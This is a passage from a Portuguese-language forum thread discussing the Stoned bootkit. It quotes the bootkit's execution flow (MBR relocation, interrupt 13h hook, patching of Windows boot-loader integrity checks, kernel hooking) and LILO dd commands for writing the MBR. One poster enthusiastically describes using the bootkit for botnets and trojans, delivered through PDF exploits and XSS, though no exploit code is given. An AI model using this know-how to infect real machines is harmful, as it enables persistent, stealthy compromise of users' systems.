e sobre a forma como o stoned infecta o MBR vejam o fluxo do mesmo e vejam como funciona a mt baixo nivel...

Execution Flow

1. The bootloader of the MBR is loaded by the BIOS (7C00h)

2. The MBR relocates itself to the end of real mode memory (in most cases 94F00h)

3. Interrupt 13h handler is hooked and points to the relocated code at the end of memory

4. Windows ntldr or bootmgr (depending on OS) is hooked to get called and to patch code integrity verification

5. OSLOADER or winload.exe will be hooked to get information about ntoskrnl.exe image (location, size etc.)

6. The kernel code will be copied to the end of ntoskrnl image (2 KB aligned address) and ntoskrnl hooked to get called

7. The driver code will be relocated to driver allocated memory and executed

8. The dynamic driver code reads the kernel driver file from the file system and executes it

tudo isto não é uma vulnerabilidade do windows mas antes a excelencia de quem pesquisa e atinge estes conhecimentos, pois qualquer SO pode ser assim manipulado

do readme do lilo sobre como escrever no MBR:

  Installation:
   - boot Linux.
   - make a backup copy of your MBR on a floppy disk, e.g.
      dd if=/dev/hda of=/fd/MBR bs=512 count=1
    - install LILO with the boot sector on the Linux partition.
    - install BOOTACTV as the MBR, e.g.
       dd if=bootactv.bin of=/dev/hda bs=446 count=1
    - reboot.
  Deinstallation:
    - boot Linux.
    - restore the old MBR, e.g.
      dd if=/MBR of=/dev/hda bs=446 count=1
      or FDISK /MBR under MS-DOS.

[ snip a lot more good reading material]

The /boot/boot.NNNN files are backup copies of your Master Boot Record
made by lilo.

   boot.0200   Would be the Boot Record from a Floppy disk
   boot.0300   Would be a copy of your Master Boot Record for the first
IDE drive. 
   boot.0301   Would be /dev/hda1
   boot.0302   Would be /dev/hda2
   boot.0800   Would be the Master Boot Record for your SCSI /dev/sda
   boot.0801   Would be the Boot Record for the first partition on
the frist SCSI /dev/sda1

You get the idea.
Lilo made the backup if a file didn't already exist.
You just needed to know where it was saved and how to restore it.

sabes o que é o "hooked"? investiguem este projecto e assuntos relacionados, que é uma area mt interessante para quem quer ir mais longe... mts outra técnicas e vectores usam principios identicos, como o keylogers de interrupts I/O directos e tal...

teckV

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

teckV, continuas sem apanhar o que nós estarmos a questionar.

Nós estamos a perguntar qual é o exploit específico que permite infectar o MBR no Windows... Já pessoal falou aí que testou numa VM, e é isso que estamos a perguntar.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites
Nós estamos a perguntar qual é o exploit específico que permite infectar o MBR no Windows... Já pessoal falou aí que testou numa VM, e é isso que estamos a perguntar.

não só já falei sobre isso como deixa-me dizer que este projecto é muito mais do que isso... há muita coisa técncamente pinteressante para explorar

já falarei do MBR

´

é um código assembley espectacular que todos podem analisar e é uma obra de arte (façam download do código fonte para verem como uma obra de arte, como um quadro hyper-complexo). instala-se na MBR e corre antes do SO e fica com o controle de tudo desde logo. o SO vai correr sob o controle do stoned e podem (o stoned é tb uma framework) desenvolver todo o tipo de tools, maliciosas ou não. permitem instalar uma botnet, um spammer, um trojan, o que quiserem com controle total sobre o sistema.. funy

permiter aceder e desencriptar um volume em TrueCript (vejam os detalhes disto.

permite ter-se uma shell com todos previlégios

é modular e pode-se enquaixar noutros modulos que recorram a outra técinas, que espandem e aumentam as capacidades

para se escrever no MBR baste ter-se previlégios de admin (windows) root em linux.. ou acesso directo à maquina através de diversos boot cd´s por ai como por uma das técnicas usadas pelo stoned que é criar um código baixo nivel para controlar o boo t antes do SO

dizer que exploit, aquando do não acesso directo, é usado para isto é não entender o o projecto, a sua filosofia e arquitecura.

o stoned têm um código (como o código de shell ou virus usados tb em exploits, mas com outros fins) em baixo nive (assembler) que inserido num exploit que permita execução de código, vai correr nesse processo, com essas credenciais e têm um exploit que escala previlégios, vai, dentro desse exploit, escrever no MBR o seu código de baixo nivel que é o stoned de boot

isto é um boot kit e não uma tool... é feito em modulos e tools. um kit, um conjunto de ferramentas numa arquitecura modular, onde se podem jogar com as pessas e encaixar novas.

a ideia do stoned boot kit, é poder-se criar um acesso total a um PC... é particularmente feito para forencis e investigação pelo que o grande destaque está para o modulo da técnica de escrita a baixo nivel do MBR com acesso fisico.

mas devido a ser modular é possivel criar (e já há criados) módulos para aplicar o stoned de outras formas, como se pode ver no exemplo do infector pelo PDF, que claro, usa um exploit de PDF para ter o acesso de admin (win), root (linux) para a execução dos procedimentos de infecção do stoned boot kit. aho brutal esta "dança" de técnicas, algo que faz este projecto especial

neste caso basta aceder-se uma um PDF e fica-se stoned. pode-se aceder a um site e por XSS esse site injectarnos esse PDF sem que notemos ou peçamos por isso.

é claro que isto é a base para outras coisas. para se ir pelo caminho o malware é preciso integrar outras coisas especificas. tendo em conta que se vai correr sobre um exploit, pode-se criar qualquer código, tool, para qualquer fim dentro dos previlgégios.

que esploit? qualquer com com certas caracteristicas que permitam adaptar ao kit e "exploitar" algo e que permitam execução de código arbitrário

vejam as caracteristicas do que eles apresentam como prova de conceito e explorem as caracteristicas e as técnicas de exploitation... o exploit pode ser aplicado a multi-so´s e distros

há um topico a seguir que apresenta um documento que explica um tipo de conceito por detras uma técnica de exploitation

http://www.securityfocus.com/bid/34169/discuss

http://www.securityfocus.com/bid/34169/info

um exploit e pesquisem usando o CVE

teckV

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

E continuas sem responder à pergunta.

Exacto, estávamos a referir o facto de o SO não bloquear a tentativa de reescrever o MBR, isto no passo inicial da infecção, ainda num sistema limpo.

Acabei de experimentar numa conta limitada do Windows XP, e o MBR mantém-se intacto. Não sei como será nas versões mais recentes do Windows, mas em princípio deveria ser bloqueado. Ainda fica no ar o porquê do Windows permitir estas escritas ao MBR.


Já agora, estás numa comunidade de programadores, escusas de explicar as coisas como se ninguém fosse capaz de ler a página do programa e o PDF que já postei que explica os detalhes de como a coisa realmente funciona de forma técnica.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Crie uma conta ou ligue-se para comentar

Só membros podem comentar

Criar nova conta

Registe para ter uma conta na nossa comunidade. É fácil!


Registar nova conta

Entra

Já tem conta? Inicie sessão aqui.


Entrar Agora